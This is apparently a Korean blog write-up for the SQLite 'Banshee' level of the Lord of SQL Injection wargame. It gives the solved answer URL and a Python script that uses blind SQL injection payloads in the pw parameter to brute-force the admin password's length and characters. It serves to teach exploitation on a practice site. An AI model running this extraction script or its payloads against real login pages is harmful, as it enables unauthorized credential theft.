벤시다. 벤시는 아일랜드 전설에 등장하는 요정으로 우리나라에서는 적대적인 몬스터로 알려져 있다.(아마 WOW가 한몫하지 않았을까 우리 족장님...) 사실은 그리 적대적인 몬스터가 아니다. 요정이니까, 코드를 만나보도록 하자
코드
오호 익숙한 코드이다. sqllite에서의 blind sql injection은 어떻지 조금 생각을 해보고 코드로 이동하자
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0313091b
import string
from requests import get
if __name__=="__main__" :
url = "### BENSHEE의 URL ###"
cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
length = 1
letters = string.digits + string.ascii_letters
password = ''
print("\n\n### LENGTH of PASSWORD SEARCH ###")
while(True) :
param = "?pw=1%27%20or%20id=%27admin%27%20and%20length(pw)="+str(length)+"--%20"
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
print("FIND! password lenght id : "+str(length))
break
length+=1
print("\n\n### PASSWORD SEARCH ###")
for i in range(1,length+1) :
for a in letters :
param = "?pw=1' or id='admin' and SUBSTR(pw,"+str(i)+",1)=%27"+a+"%27--%20;"
new_url = url+param
req = get(new_url,cookies=cookie)
if (req.text.find("login success!")<300 and req.text.find("login success!")!=-1) :
print("find "+str(i)+"'s letter : "+a)
password += a
break
print("="*25)
print("find password : "+password)
2-SY! 코드에 대한 설명이 혹시나, 혹시나 필요하다면 아래 포스팅을 보자 My SQL에서 썼던 함수와 변한 게 없어서 넘어간다.
2021.04.13 - [WarGame/Lord of SQL Injection] - [LOSI] Lord of SQL Injection Level 4 - Orc
쉽게 쉽게 넘어갔던 문제다. 다음 관문에서 기다리겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 41 - Nessie (0) | 2021.04.25 |
---|---|
[LOSI] Lord of SQL Injection Level 40 - Poltergeist (0) | 2021.04.25 |
[LOSI] Lord of SQL Injection Level 38 - Manticore (0) | 2021.04.25 |
[LOSI] Lord of SQL Injection Level 37 - Chupacabra (0) | 2021.04.25 |
[LOSI] Lord of SQL Injection Level 36 - Cyclops (0) | 2021.04.25 |